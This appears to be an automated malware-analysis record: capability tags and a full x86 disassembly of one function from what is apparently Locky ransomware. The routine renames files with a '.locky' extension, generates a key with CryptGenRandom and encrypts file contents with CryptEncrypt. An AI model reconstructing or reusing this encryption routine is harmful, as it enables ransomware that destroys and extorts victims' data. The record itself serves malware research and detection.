Function at 0x402275
Capabilities:
Encrypt or decrypt via wincrypt
Generate random numbers via winapi
Move file

Disassembly:
mov eax, 0x411da7
call fcn.00410b94
sub esp, 0x4a4
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x344
lea eax, [ebp - 0x4b0]
push 0
push eax
call fcn.0040c7e0
mov esi, dword [ebp + 8]
mov dword [ebp - 0x4b0], 0x8956fe93
mov dword [ebp - 0x39c], 0xd41ba12a
add esi, 8
lea edi, [ebp - 0x4ac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xc4]
push eax
mov eax, ebx
movsd dword es:[edi], dword [esi]
call fcn.00406948
add esp, 0x10
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0xb4]
mov eax, 0x103
mov dword [ebp - 0x24], eax
cmp ecx, eax
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x24]
ja 0x4022f5
lea eax, [ebp - 0x20]
cmp dword [ebp - 0xb0], 8
mov ecx, dword [ebp - 0xc4]
jae 0x40230a
lea ecx, [ebp - 0xc4]
mov eax, dword [eax]
add eax, eax
push eax
push ecx
lea eax, [ebp - 0x398]
push eax
call fcn.0040ff50
add esp, 0xc
cmp dword [ebx + 0x14], 8
jb 0x402327
mov ebx, dword [ebx]
lea eax, [ebp - 0x190]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
jne 0x402362
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x90], vtable.livsx.0
push 0x4172e0
lea eax, [ebp - 0x90]
push eax
call fcn.0040c1f5
mov ebx, dword [ebp - 0x174]
xor eax, eax
or eax, dword [ebp - 0x170]
xor edx, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x20], eax
or ebx, edx
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 2
push 0x4159e8
lea esi, [ebp - 0x54]
mov dword [ebp - 0x40], 7
mov dword [ebp - 0x44], eax
mov word [ebp - 0x54], ax
call fcn.004033b5
mov edi, dword [ebp + 8]
push 0x10
mov eax, esi
push eax
lea eax, [ebp - 0xfc]
push eax
push edi
mov byte [ebp - 4], 3
call fcn.00402963
mov esi, eax
push 0
add edi, 8
push edi
lea eax, [ebp - 0x134]
push eax
push 0x10
pop ecx
mov byte [ebp - 4], 4
call fcn.00406ad0
mov ecx, eax
mov eax, esi
lea edi, [ebp - 0x16c]
mov byte [ebp - 4], 5
call fcn.004029f0
push str..locky
push eax
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 6
call fcn.00402a37
add esp, 0x14
push 1
xor edi, edi
lea esi, [ebp - 0x16c]
call fcn.00403304
push 1
lea esi, [ebp - 0x134]
call fcn.00403304
push 1
lea esi, [ebp - 0xfc]
call fcn.00403304
push 1
lea esi, [ebp - 0x54]
mov byte [ebp - 4], 0xb
call fcn.00403304
lea eax, [ebp - 0x150]
push eax
mov eax, dword [ebp + 0xc]
call fcn.0040696c
mov byte [ebp - 4], 0xc
push 0x5c
lea ecx, [ebp - 0x118]
push ecx
call fcn.00402942
lea ecx, [ebp - 0xe0]
push ecx
lea ecx, [ebp - 0x70]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.00402a6e
add esp, 0x14
push 1
lea esi, [ebp - 0x118]
call fcn.00403304
push 1
lea esi, [ebp - 0x150]
mov byte [ebp - 4], 0x10
call fcn.00403304
test dword [ebp - 0x20], 0x800
jne 0x40257c
test byte [ebp - 0x20], 1
mov esi, dword [ebp + 0xc]
je 0x4024d0
cmp dword [esi + 0x14], 8
jb 0x4024b8
mov eax, dword [esi]
jmp 0x4024ba
mov eax, esi
mov ecx, dword [ebp - 0x20]
and ecx, 0xfffffffe
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x40257c
push 0
push 3
push 4
mov eax, esi
push 0xc0000000
lea esi, [ebp - 0x14]
mov byte [ebp - 4], 0x11
call fcn.004034eb
mov edi, eax
lea esi, [ebp - 0x1c]
call fcn.00403053
cmp dword [ebp - 0x14], 0
je 0x402508
cmp dword [ebp - 0x14], 0xffffffff
je 0x402508
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x5c], 8
mov ecx, dword [ebp - 0x70]
jae 0x402514
lea ecx, [ebp - 0x70]
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], 8
jb 0x40251f
mov eax, dword [eax]
push 9
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x402553
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], vtable.livsx.0
push 0x4172e0
lea eax, [ebp - 0x98]
jmp 0x40235c
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x1c], 0
je 0x40257c
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x40260c
jmp 0x40257c
mov eax, dword [ebp + 0xc]
push 0x8000000
push 3
push 7
push 0x80000000
lea esi, [ebp - 0x14]
call fcn.004034eb
mov edi, eax
lea esi, [ebp - 0x1c]
call fcn.00403053
cmp dword [ebp - 0x14], 0
je 0x4025b4
cmp dword [ebp - 0x14], 0xffffffff
je 0x4025b4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x5c], 8
mov eax, dword [ebp - 0x70]
jae 0x4025c0
lea eax, [ebp - 0x70]
xor esi, esi
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, esi
je 0x4028da
cmp eax, 0xffffffff
je 0x4028da
lea edi, [ebp - 0x14]
lea esi, [ebp - 0x18]
mov dword [ebp - 0x14], eax
call fcn.00403053
cmp dword [ebp - 0x14], 0
je 0x40260c
cmp dword [ebp - 0x14], 0xffffffff
je 0x40260c
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x49c]
push eax
push 0x10
pop esi
push esi
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x40264c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa8], vtable.xwnmqigmmwptq.0
push 0x417274
lea eax, [ebp - 0xa8]
jmp 0x40235c
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.004015a2
add esp, 0xc
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x24], esi
mov esi, 0x100
push esi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x49c]
push eax
xor eax, eax
push eax
push eax
push eax
push dword [edi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x4026b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], vtable.xwnmqigmmwptq.0
push 0x417274
lea eax, [ebp - 0xa0]
jmp 0x40235c
cmp dword [ebp - 0x24], esi
je 0x4026d0
mov dword [ebp - 0x78], vtable.livsx.0
mov dword [ebp - 0x74], 0x80092001
push 0x4172e0
lea eax, [ebp - 0x78]
jmp 0x40235c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
push 0x230
lea edx, [ebp - 0x39c]
push edx
call dword [eax + 0xc]
push 0
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 0x14
call fcn.00402919
xor edi, edi
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
ja 0x40278a
jb 0x40270b
cmp edi, dword [ebp - 0x38]
jae 0x40278a
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x48]
and dword [ebp - 0x2c], 0
mov edx, dword [ebp - 0x38]
sub edx, edi
mov ecx, ebx
sbb ecx, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x7c], ecx
cmp dword [ebp - 0x2c], ecx
ja 0x402738
jb 0x402733
cmp eax, edx
jae 0x402738
lea eax, [ebp - 0x30]
jmp 0x40273b
lea eax, [ebp - 0x80]
mov esi, dword [eax]
push esi
push dword [ebp - 0x48]
lea eax, [ebp - 0x1c]
call fcn.00403010
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
push esi
push dword [ebp - 0x48]
call dword [eax + 0xc]
cmp dword [ebp - 0x18], 0
je 0x402761
cmp dword [ebp - 0x18], 0xffffffff
jne 0x402773
push dword [ebp - 0x24]
lea eax, [ebp - 0x1c]
push edi
push eax
call fcn.00402fca
lea eax, [ebp - 0x1c]
jmp 0x402776
lea eax, [ebp - 0x18]
push esi
push dword [ebp - 0x48]
call fcn.0040346b
add edi, esi
adc dword [ebp - 0x24], 0
jmp 0x4026fb
mov esi, dword [ebp - 0x18]
test esi, esi
je 0x402796
cmp esi, 0xffffffff
jne 0x4027c7
push 0x344
lea eax, [ebp - 0x4b0]
push eax
lea eax, [ebp - 0x1c]
call fcn.0040346b
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
lea eax, [ebp - 0x30]
push eax
push eax
push eax
lea eax, [ebp - 0x1c]
call fcn.00402f8d
lea eax, [ebp - 0x1c]
jmp 0x4027de
push 0x344
lea eax, [ebp - 0x4b0]
push eax
lea eax, [ebp - 0x18]
call fcn.0040346b
lea eax, [ebp - 0x18]
call fcn.00402f5c
xor edi, edi
cmp dword [ebp - 0x48], edi
je 0x4027f3
push dword [ebp - 0x48]
call fcn.0040aee7
pop ecx
mov dword [ebp - 4], 0x13
cmp dword [ebp - 0x1c], edi
je 0x40280e
cmp dword [ebp - 0x1c], 0xffffffff
je 0x40280e
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1c], edi
cmp esi, edi
je 0x40281a
cmp esi, 0xffffffff
jne 0x40283d
test dword [ebp - 0x20], 0x2006
je 0x402848
cmp dword [ebp - 0x5c], 8
mov eax, dword [ebp - 0x70]
jae 0x40282f
lea eax, [ebp - 0x70]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x402848
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402045
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
push 1
call dword [eax]
push 1
xor edi, edi
lea esi, [ebp - 0x70]
call fcn.00403304
push 1
lea esi, [ebp - 0xe0]
call fcn.00403304
cmp dword [ebp - 0x18], edi
je 0x402882
cmp dword [ebp - 0x18], 0xffffffff
je 0x402882
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
xor edi, edi
lea esi, [ebp - 0xc4]
call fcn.00403304
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x38]
pop edi
pop esi
mov edx, ebx
mov dword fs:[0], ecx
pop ebx
leave
ret 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], vtable.livsx.0
push 0x4172e0
lea eax, [ebp - 0x88]
jmp 0x40235c